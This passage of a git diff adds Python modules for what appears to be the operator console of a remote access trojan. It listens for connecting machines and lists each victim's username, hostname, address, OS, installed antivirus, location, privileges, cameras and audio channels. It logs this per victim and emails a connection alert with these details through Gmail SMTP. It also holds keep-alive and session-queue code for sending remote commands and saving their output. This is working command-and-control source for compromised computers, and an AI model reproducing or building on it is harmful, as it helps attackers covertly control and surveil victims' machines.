+from domestic.session.session_wait import *
+from domestic.utility.write_error import *
+from domestic.make.make_image import *
+from domestic.make.make_file import *
+from domestic.global_state import *
+
+
+def session_message(message, piped_data=True, loading_text='loading...'):
+ data = session_wait((state['session']['socket'], message, True), loading_text)
+
+ text_mode = validate_dict_key(data, 'text_mode')
+ text_extras = validate_dict_key(data, 'text_extras')
+
+ if state['options']['information-gathering']['backup']['text']:
+ make_file(['backup', 'backup/text'], 'txt', bytes(data['message'], state['settings']['encoding']))
+
+ if state['options']['information-gathering']['backup']['image']:
+ make_image(['backup', 'backup/image'], text_to_image(data['message']), False)
+
+ if piped_data:
+ if text_mode is None:
+ status_message(data['message'], 'pure')
+ else:
+ if text_extras:
+ status_message(data['message'], text_mode, text_extras)
+ else:
+ status_message(data['message'], text_mode)
+ else:
+ return data \ No newline at end of file
diff --git a/domestic/session/session_queue.py b/domestic/session/session_queue.py
new file mode 100644
index 0000000..e4e0f81
--- /dev/null
+++ b/domestic/session/session_queue.py
@@ -0,0 +1,43 @@
+import time
+
+from domestic.parse.internal_server_error_exception_handling import *
+from domestic.utility.status_message import *
+from binary.data_handling.send_data import *
+from binary.data_handling.recv_data import *
+from domestic.utility.delete_client import *
+from domestic.session.exit_session import *
+from domestic.utility.write_error import *
+from domestic.global_state import *
+
+
+@internal_server_error_exception_handling
+def session_queue():
+ while True:
+ for index in range(len(state['sockets']['clients'][0])):
+ if time.time() - state['sockets']['clients'][2][index]['timer'] >= state['settings']['keep-alive-count']:
+ state['settings']['dynamic']['queue'].append((state['sockets']['clients'][0][index], {'message': 'bbCF2NNYjjTfHELUV9Y2qmkV'}, False))
+ state['sockets']['clients'][2][index]['timer'] = time.time()
+
+ if state['settings']['dynamic']['queue']:
+ for item in state['settings']['dynamic']['queue']:
+ try:
+ send_data(item[0], item[1], (state['settings']['encryption'], state['settings']['encoding'], state['settings']['headersize']), {'safe': state['options']['mode']['safe'], 'safe_timeout': state['settings']['safe-timeout']})
+ data = recv_data(item[0], (state['settings']['encryption'], state['settings']['headersize']))
+
+ if item[2]:
+ state['session']['data'] = data
+ except Exception as err:
+ write_error(err)
+
+ if item[2]:
+ exit_session(False, {'message': 'Timeout reached waiting for client response\nClient had to be disconnected', 'text_mode': 'danger'})
+ elif state['session']['socket'] is item[0]:
+ exit_session(False)
+ print()
+ status_message('Timeout reached waiting for client response\nClient had to be disconnected', 'danger')
+
+ delete_client(index, False)
+ finally:
+ state['settings']['dynamic']['queue'].remove(item)
+ else:
+ time.sleep(0.1) \ No newline at end of file
diff --git a/domestic/session/session_wait.py b/domestic/session/session_wait.py
new file mode 100644
index 0000000..244b9e2
--- /dev/null
+++ b/domestic/session/session_wait.py
@@ -0,0 +1,22 @@
+import time
+
+from domestic.utility.loading import *
+from domestic.global_state import *
+
+
+def session_wait(queue_obj, loading_text):
+ try:
+ if state['settings']['loading']:
+ start_loading(loading_text)
+
+ state['settings']['dynamic']['queue'].append(queue_obj)
+
+ while state['session']['data'] is None:
+ time.sleep(0.1)
+ else:
+ if state['settings']['loading']:
+ stop_loading()
+
+ return state['session']['data']
+ finally:
+ state['session']['data'] = None \ No newline at end of file
diff --git a/domestic/shell/delete.py b/domestic/shell/delete.py
new file mode 100644
index 0000000..16a3e98
--- /dev/null
+++ b/domestic/shell/delete.py
@@ -0,0 +1,13 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.utility.delete_client import *
+
+
+@error_exception_handling
+def delete(message):
+ index = validate_dict_key(message, 'index')
+
+ if index:
+ delete_client(int(index))
+ else:
+ raise Exception('Error message') \ No newline at end of file
diff --git a/domestic/shell/list_clients.py b/domestic/shell/list_clients.py
new file mode 100644
index 0000000..1d30901
--- /dev/null
+++ b/domestic/shell/list_clients.py
@@ -0,0 +1,24 @@
+import tabulate
+
+from domestic.utility.status_message import *
+from domestic.global_state import *
+
+
+def list_clients():
+ number_of_clients_connected = len(state['sockets']['clients'][0])
+ clients_list = state['sockets']['clients'][1]
+ all_clients = []
+
+ if number_of_clients_connected == 0 and state['sockets']['server'] is None:
+ status_message(f'Use \'listen\' command to enable clients to connect\nConnected clients can be listed & interacted with', 'primary', {'end': True})
+ elif number_of_clients_connected == 0:
+ status_message('You are listening for clients\nBut none are currently connected', 'primary', {'end': True})
+ else:
+ for index, addr in enumerate(clients_list):
+ user_data = state['sockets']['clients'][2][index]
+ all_clients.append([index, user_data['monitors'], user_data['cams'], user_data['io-channels'], f"{user_data['username']}", user_data['address'], user_data['os'], user_data['antivirus'], user_data['location'], user_data['privileges']])
+
+ status_message(tabulate.tabulate(all_clients, headers=['Index', 'Monitors', 'Cams', 'I/O Channels', 'Username@Hostname', 'Address', 'Operating System', 'Antivirus', 'Location', 'Privileges']), 'pure', {'end': True})
+
+ print()
+ status_message(None, 'program') \ No newline at end of file
diff --git a/domestic/shell/server.py b/domestic/shell/server.py
new file mode 100644
index 0000000..2fd0d49
--- /dev/null
+++ b/domestic/shell/server.py
@@ -0,0 +1,134 @@
+import threading
+import socket
+import time
+import sys
+import os
+
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.utility.status_message import *
+from domestic.utility.delete_client import *
+from binary.data_handling.send_data import *
+from binary.data_handling.recv_data import *
+from domestic.utility.get_timestamp import *
+from domestic.make.make_directories import *
+from domestic.utility.write_error import *
+from domestic.utility.send_email import *
+from domestic.utility.read_file import *
+from domestic.global_state import *
+
+
+@error_exception_handling
+def listening(host, port, stdout=True):
+ try:
+ state['sockets']['server'] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ state['sockets']['server'].bind((host, int(port)))
+ state['sockets']['server'].listen()
+ except Exception as err:
+ write_error(err)
+ state['sockets']['server'] = None
+
+ if stdout:
+ raise Exception('Socket binding error')
+ else:
+ sys.exit(0)
+ else:
+ if stdout:
+ status_message(f'Listening on port {port}', 'success', {'dots': True, 'point': 'dot'})
+
+ while True:
+ try:
+ client, addr = state['sockets']['server'].accept()
+ except Exception as err:
+ write_error(err)
+ break
+
+ try:
+ send_data(client, {'message': 'CsBLDS4n5zPYq7JaxDjxWHK4', 'silent': state['options']['mode']['silent'], 'io_channels': state['settings']['io-channels']}, (state['settings']['encryption'], state['settings']['encoding'], state['settings']['headersize']), {'safe': state['options']['mode']['safe'], 'safe_timeout': state['settings']['safe-timeout']})
+ data = recv_data(client, (state['settings']['encryption'], state['settings']['headersize']))
+ data.update({'timer': time.time()})
+
+ add_client = True
+
+ if os.path.isfile(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt'):
+ blacklist = read_file(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt').decode(state['settings']['encoding']).strip().split('\n')
+ for ip in blacklist:
+ try:
+ ip = socket.gethostbyname(ip)
+ except Exception as err:
+ write_error(err)
+
+ if addr[0] == ip:
+ add_client = False
+
+ if not state['options']['validation']['duplicates']:
+ for client_data_obj in state['sockets']['clients'][2]:
+ if data['username'] == client_data_obj['username']:
+ add_client = False
+
+ if len(state['sockets']['clients'][0]) >= state['options']['validation']['max-clients']:
+ add_client = False
+
+ if add_client:
+ if state['options']['information-gathering']['history']:
+ make_directories([data['username']])
+ with open(f'{state["root"]}/{data["username"]}/history.txt', 'a') as f:
+ f.write(f'{data["username"]} connected at {get_timestamp()}\n')
+
+ data_list = (client, addr, data)
+
+ if state['options']['information-gathering']['whoami']:
+ make_directories([data['username']])
+ with open(f'{state["root"]}/{data["username"]}/whoami.txt', 'a') as f:
+ title = f'Whoami at {get_timestamp()}'
+ text = f'Monitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}'
+ f.write(f'{title}\n{text}\n{"-" * len(title)}\n')
+
+ for index, item in enumerate(state['sockets']['clients']):
+ item.append(data_list[index])
+
+ if state['options']['notice']['email-notice']:
+ send_email(
+ state['options']['notice']['email-data']['email'],
+ state['options']['notice']['email-data']['password'],
+ state['options']['notice']['email-data']['to'],
+ 'Connection Notice!',
+ f'Connection at {get_timestamp()}\nMonitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}')
+ else:
+ client.close()
+ except Exception as err:
+ write_error(err)
+
+
+@error_exception_handling
+def server(message):
+ ip = validate_dict_key(message, 'ip')
+ port = validate_dict_key(message, 'port')
+ status = validate_dict_key(message, 'status')
+ unbind = validate_dict_key(message, 'unbind')
+
+ if port and ip:
+ if state['sockets']['server'] is None:
+ threading.Thread(target=listening, args=(ip, port), daemon=True).start()
+ else:
+ ip, port = state['sockets']['server'].getsockname()
+ status_message(f'You are already listening for clients on {ip}:{port}', 'danger', {'dots': True})
+ elif status:
+ if state['sockets']['server']:
+ ip, port = state['sockets']['server'].getsockname()
+ status_message(f'You are listening for clients on {ip}:{port}', 'primary')
+ else:
+ status_message('You are not listening for clients', 'warning')
+ elif unbind:
+ if state['sockets']['server']:
+ state['sockets']['server'].close()
+ state['sockets']['server'] = None
+
+ for index, client in enumerate(state['sockets']['clients'][0]):
+ delete_client(index, False)
+
+ status_message('You\'re no longer listening for clients\nServer socket is now closed', 'success')
+ else:
+ status_message(f'You\'re not listening for clients\nThere is no server socket to close', 'warning')
+ else:
+ raise Exception('Error message') \ No newline at end of file
diff --git a/domestic/shell/stdout.py b/domestic/shell/stdout.py
new file mode 100644
index 0000000..cceab86
--- /dev/null
+++ b/domestic/shell/stdout.py
@@ -0,0 +1,8 @@
+from domestic.utility.status_message import *
+
+
+def stdout(low_message, message):
+ if low_message == '':
+ status_message(None, 'program')
+ else:
+ status_message(f'\'{message["message"]}\' command could not be found\nUse \'help\' command for assistance', 'warning') \ No newline at end of file
diff --git a/domestic/utility/delete_client.py b/domestic/utility/delete_client.py
new file mode 100644
index 0000000..722a1e7
--- /dev/null
+++ b/domestic/utility/delete_client.py
@@ -0,0 +1,21 @@
+from domestic.utility.status_message import *
+from domestic.utility.get_timestamp import *
+from domestic.make.make_directories import *
+from domestic.global_state import *
+
+
+def delete_client(client, write_stdout=True):
+ state['sockets']['clients'][0][client].close()
+ state['sockets']['clients'][0][client] = None
+
+ username = state['sockets']['clients'][2][client]['username']
+ if state['options']['information-gathering']['history']:
+ make_directories([username])
+ with open(f'{state["root"]}/{username}/history.txt', 'a') as f:
+ f.write(f'{username} disconnected at {get_timestamp()}\n')
+
+ for index, item in enumerate(state['sockets']['clients']):
+ del state['sockets']['clients'][index][client]
+
+ if write_stdout:
+ status_message('Client successfully deleted', 'success') \ No newline at end of file
diff --git a/domestic/utility/get_filename.py b/domestic/utility/get_filename.py
new file mode 100644
index 0000000..ce70c0a
--- /dev/null
+++ b/domestic/utility/get_filename.py
@@ -0,0 +1,5 @@
+import time
+
+
+def get_filename(file_type):
+ return time.strftime(f'%Y-%m-%d (%H-%M-%S).{file_type}') \ No newline at end of file
diff --git a/domestic/utility/get_io_channels.py b/domestic/utility/get_io_channels.py
new file mode 100644
index 0000000..c5fa5e2
--- /dev/null
+++ b/domestic/utility/get_io_channels.py
@@ -0,0 +1,43 @@
+import pyaudio
+
+from domestic.global_state import *
+
+
+def get_io_channels():
+ try:
+ p = pyaudio.PyAudio()
+ CHUNK = 81920
+ FORMAT = pyaudio.paInt16
+ RATE = 44100
+ except:
+ pass
+ else:
+ try:
+ stream = p.open(format=FORMAT, channels=2, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK)
+ stream.stop_stream()
+ stream.close()
+ state['settings']['io-channels'][0] = '2'
+ except:
+ try:
+ stream = p.open(format=FORMAT, channels=1, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK)
+ stream.stop_stream()
+ stream.close()
+ state['settings']['io-channels'][0] = '1'
+ except:
+ pass
+
+ try:
+ stream = p.open(format=FORMAT, channels=2, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK)
+ stream.stop_stream()
+ stream.close()
+ state['settings']['io-channels'][1] = '2'
+ except:
+ try:
+ stream = p.open(format=FORMAT, channels=1, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK)
+ stream.stop_stream()
+ stream.close()
+ state['settings']['io-channels'][1] = '1'
+ except:
+ pass
+
+ p.terminate() \ No newline at end of file
diff --git a/domestic/utility/get_timestamp.py b/domestic/utility/get_timestamp.py
new file mode 100644
index 0000000..2d70d8f
--- /dev/null
+++ b/domestic/utility/get_timestamp.py
@@ -0,0 +1,5 @@
+import time
+
+
+def get_timestamp():
+ return time.strftime(f'%Y-%m-%d (%H-%M-%S)') \ No newline at end of file
diff --git a/domestic/utility/loading.py b/domestic/utility/loading.py
new file mode 100644
index 0000000..39c3198
--- /dev/null
+++ b/domestic/utility/loading.py
@@ -0,0 +1,31 @@
+import threading
+import time
+import sys
+
+from domestic.utility.status_message import *
+from domestic.global_state import *
+
+
+def loading(text, blacklist):
+ if state['settings']['loading-animation']:
+ start_time = time.time()
+
+ while True:
+ for i in range(len(text)):
+ if not state['settings']['dynamic']['is-loading']:
+ sys.exit(0)
+ if text[i].lower() in blacklist:
+ continue
+ text = text[:i].lower() + text[i:].capitalize()
+ time_taken = time.time() - start_time
+ status_message(f'[{time_taken:.1f}] {text}', 'loading', {'end': True})
+ time.sleep(0.1)
+ else:
+ status_message(text.capitalize(), 'loading', {'end': True})
+
+def start_loading(text, blacklist=('.', ' ')):
+ state['settings']['dynamic']['is-loading'] = True
+ threading.Thread(target=loading, args=(text, blacklist), daemon=True).start()
+
+def stop_loading():
+ state['settings']['dynamic']['is-loading'] = False \ No newline at end of file
diff --git a/domestic/utility/program_setup.py b/domestic/utility/program_setup.py
new file mode 100644
index 0000000..d14a6df
--- /dev/null
+++ b/domestic/utility/program_setup.py
@@ -0,0 +1,38 @@
+import threading
+import argparse
+
+from domestic.utility.get_io_channels import *
+from domestic.modules.socket_handler import *
+from domestic.utility.status_message import *
+from domestic.utility.text_to_ascii import *
+from domestic.session.session_queue import *
+from domestic.utility.write_error import *
+from domestic.global_state import *
+from domestic.shell.server import *
+
+
+def program_setup():
+ parser = argparse.ArgumentParser(description=state['description'])
+ parser.add_argument('-ip', '--ipv4', default='localhost', help='IP of host.')
+ parser.add_argument('-p', '--port', type=int, default=1200, help='Port of host.')
+ args = parser.parse_args()
+
+ try:
+ get_io_channels()
+ threading.Thread(target=listening, args=(args.ipv4, str(args.port), False), daemon=True).start()
+ for index, module in enumerate([*state['sockets']['modules']]):
+ bind_socket(args.ipv4, str(args.port + (index + 1)), module, False)
+ except Exception as err:
+ write_error(err)
+ status_message('Socket binding error, please verify IP / port argument', 'danger', {'end': True})
+ raise Exception('Argument parsing error')
+
+ threading.Thread(target=session_queue, daemon=True).start()
+
+ status_message(text_to_ascii(state['name']), 'pure', {'end': True})
+ print()
+ status_message(state['description'], 'pure', {'end': True})
+ print()
+ status_message(state['author'], 'pure', {'end': True})
+ print()
+ status_message(None, 'program') \ No newline at end of file
diff --git a/domestic/utility/read_file.py b/domestic/utility/read_file.py
new file mode 100644
index 0000000..7c9fcea
--- /dev/null
+++ b/domestic/utility/read_file.py
@@ -0,0 +1,3 @@
+def read_file(location):
+ with open(location, 'rb') as f:
+ return f.read() \ No newline at end of file
diff --git a/domestic/utility/send_email.py b/domestic/utility/send_email.py
new file mode 100644
index 0000000..4edfabf
--- /dev/null
+++ b/domestic/utility/send_email.py
@@ -0,0 +1,12 @@
+import smtplib
+
+
+def send_email(sender, sender_pw, recievers, subject, text):
+ message = f'From: {sender}\nTo: {recievers}\nSubject: {subject}\n\n{text}'
+
+ server = smtplib.SMTP('smtp.gmail.com', 587)
+ server.ehlo()
+ server.starttls()
+ server.login(sender, sender_pw)
+ server.sendmail(sender, recievers, message)
+ server.close() \ No newline at end of file
diff --git a/domestic/utility/status_message.py b/domestic/utility/status_message.py
new file mode 100644
index 0000000..c8e4a32
--- /dev/null
+++ b/domestic/utility/status_message.py
@@ -0,0 +1,86 @@
+from colorama import init, Fore, Style
+init()
+
+from domestic.utility.validate_dict_key import *
+from domestic.global_state import *
+
+
+def status_message(data, status, options={}):
+ dots = validate_dict_key(options, 'dots')
+ exclamation_point = validate_dict_key(options, 'point')
+ end = validate_dict_key(options, 'end')
+ custom = validate_dict_key(options, 'custom')
+ session = state['session']['active']
+ username = state['session']['username']
+ name = state['name']
+ end_result = ''
+
+ if status == 'raw':
+ print(f'{Fore.CYAN}{data}{Style.RESET_ALL}')
+ return
+
+ try:
+ messages = [x for x in data.split('\n') if x != '']
+ except:
+ messages = [None]
+
+ if exclamation_point == 'empty':
+ exclamation_point = ''
+ elif exclamation_point == 'dot':
+ exclamation_point = '.'
+ elif exclamation_point:
+ exclamation_point = '!'
+ elif status == 'success':
+ exclamation_point = '!'
+ else:
+ exclamation_point = '.'
+
+ if dots:
+ dots = '..'
+ else:
+ dots = ''
+
+ if end:
+ end_result = ''
+ else:
+ end_result = f'\n{Fore.BLUE}{name}{Style.RESET_ALL}{Fore.RED}>{Style.RESET_ALL}'
+
+ if custom:
+ custom = f'\b{custom}'
+ else:
+ custom = ''
+
+ if session:
+ if end:
+ end_result = ''
+ else:
+ end_result = f'\n{Fore.BLUE}{username}{Style.RESET_ALL} {Fore.RED}=>{Style.RESET_ALL} {Fore.BLUE}Terminal{Style.RESET_ALL}{Fore.RED}>{Style.RESET_ALL}'
+
+ for index, message in enumerate(messages):
+ if index == 0 and session and state['settings']['loading']:
+ print(' ' * 25, end='\r')
+
+ if status == 'success':
+ print(f'{Fore.GREEN}[{Style.RESET_ALL}+{custom}{Fore.GREEN}]{Style.RESET_ALL} {Fore.GREEN}{message}{exclamation_point}{dots}{Style.RESET_ALL}')
+ elif status == 'danger':
+ print(f'{Fore.RED}[{Style.RESET_ALL}-{custom}{Fore.RED}]{Style.RESET_ALL} {Fore.RED}{message}{exclamation_point}{dots}{Style.RESET_ALL}')
+ elif status == 'warning':
+ print(f'{Fore.YELLOW}[{Style.RESET_ALL}!{custom}{Fore.YELLOW}]{Style.RESET_ALL} {Fore.YELLOW}{message}{exclamation_point}{dots}{Style.RESET_ALL}')
+ elif status == 'primary':
+ print(f'{Fore.BLUE}[{Style.RESET_ALL}i{custom}{Fore.BLUE}]{Style.RESET_ALL} {Fore.BLUE}{message}{exclamation_point}{dots}{Style.RESET_ALL}')
+ elif status == 'magenta':
+ print(f'{Fore.MAGENTA}[{Style.RESET_ALL}i{custom}{Fore.MAGENTA}]{Style.RESET_ALL} {Fore.MAGENTA}{message}{exclamation_point}{dots}{Style.RESET_ALL}')
+ elif status == 'pure':
+ print(f'{Fore.CYAN}{message}{Style.RESET_ALL}')
+ elif status == 'loading':
+ print(f'{Fore.CYAN}{message}{Style.RESET_ALL}', end='\r', flush=True)
+ elif status == 'program':
+ if session:
+ print(f'{Fore.BLUE}{username}{Style.RESET_ALL} {Fore.RED}=>{Style.RESET_ALL} {Fore.BLUE}Terminal{Style.RESET_ALL}{Fore.RED}>{Style.RESET_ALL}', end='')
+ else:
+ print(f'{Fore.BLUE}{name}{Style.RESET_ALL}{Fore.RED}>{Style.RESET_ALL}', end='')
+ else:
+ raise Exception('Invalid color selection')
+
+ if index == (len(messages) -1) and status != 'program':
+ print(end=end_result) \ No newline at end of file
diff --git a/domestic/utility/text_to_ascii.py b/domestic/utility/text_to_ascii.py
new file mode 100644
index 0000000..0b6d634
--- /dev/null
+++ b/domestic/utility/text_to_ascii.py
@@ -0,0 +1,17 @@
+import numpy
+
+from PIL import Image, ImageDraw, ImageFont
+
+
+def text_to_ascii(text):
+ myfont = ImageFont.truetype('arial.ttf', 18)
+ size = myfont.getsize(text)
+ img = Image.new('1', size, 'black')
+ draw = ImageDraw.Draw(img)
+ draw.text((0, 0), text, 'white', font=myfont)
+ pixels = numpy.array(img, dtype=numpy.uint8)
+ chars = numpy.array([' ', '%'], dtype='U1')[pixels]
+ strings = [line for line in chars.view('U' + str(chars.shape[1])).flatten() if not line.isspace()]
+ result = '\n'.join(strings)
+
+ return result \ No newline at end of file
diff --git a/domestic/utility/text_to_image.py b/domestic/utility/text_to_image.py
new file mode 100644
index 0000000..0adb304
--- /dev/null
+++ b/domestic/utility/text_to_image.py
@@ -0,0 +1,42 @@
+from PIL import ImageFont, Image, ImageDraw, ImageOps
+
+from domestic.utility.write_error import *
+
+
+def text_to_image(text):
+ PIXEL_ON = 255
+ PIXEL_OFF = 1
+
+ grayscale = 'L'
+ lines = tuple(l.rstrip() for l in text.split('\n'))
+
+ large_font = 40
+ font_path = 'cour.ttf'
+
+ try:
+ font = ImageFont.truetype(font_path, size=large_font)
+ except IOError as err:
+ write_error(err)
+ font = ImageFont.load_default()
+
+ pt2px = lambda pt: int(round(pt * 96.0 / 72))
+ max_width_line = max(lines, key=lambda s: font.getsize(s)[0])
+ test_string = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
+ max_height = pt2px(font.getsize(test_string)[1])
+ max_width = pt2px(font.getsize(max_width_line)[0])
+ height = max_height * len(lines)
+ width = int(round(max_width + 40))
+ image = Image.new(grayscale, (width, height), color=PIXEL_OFF)
+ draw = ImageDraw.Draw(image)
+
+ vertical_position = 5
+ horizontal_position = 5
+ line_spacing = int(round(max_height * 0.8))
+
+ for line in lines:
+ draw.text((horizontal_position, vertical_position), line, fill=PIXEL_ON, font=font)
+ vertical_position += line_spacing
+ c_box = ImageOps.invert(image).getbbox()
+ image = image.crop(c_box)
+
+ return image \ No newline at end of file
diff --git a/domestic/utility/validate_dict_key.py b/domestic/utility/validate_dict_key.py
new file mode 100644
index 0000000..18e246b
--- /dev/null
+++ b/domestic/utility/validate_dict_key.py
@@ -0,0 +1,10 @@
+def validate_dict_key(dictionary, key, lower=True):
+ try:
+ if lower:
+ return dictionary[key].lower()
+ else:
+ return dictionary[key]
+ except KeyError:
+ return None
+ except:
+ return dictionary[key] \ No newline at end of file
diff --git a/domestic/utility/write_error.py b/domestic/utility/write_error.py
new file mode 100644
index 0000000..a65b3bc
--- /dev/null
+++ b/domestic/utility/write_error.py
@@ -0,0 +1,6 @@
+from domestic.global_state import *
+
+
+def write_error(error):
+ if state['settings']['debug']:
+ print(f'Error: {error}') \ No newline at end of file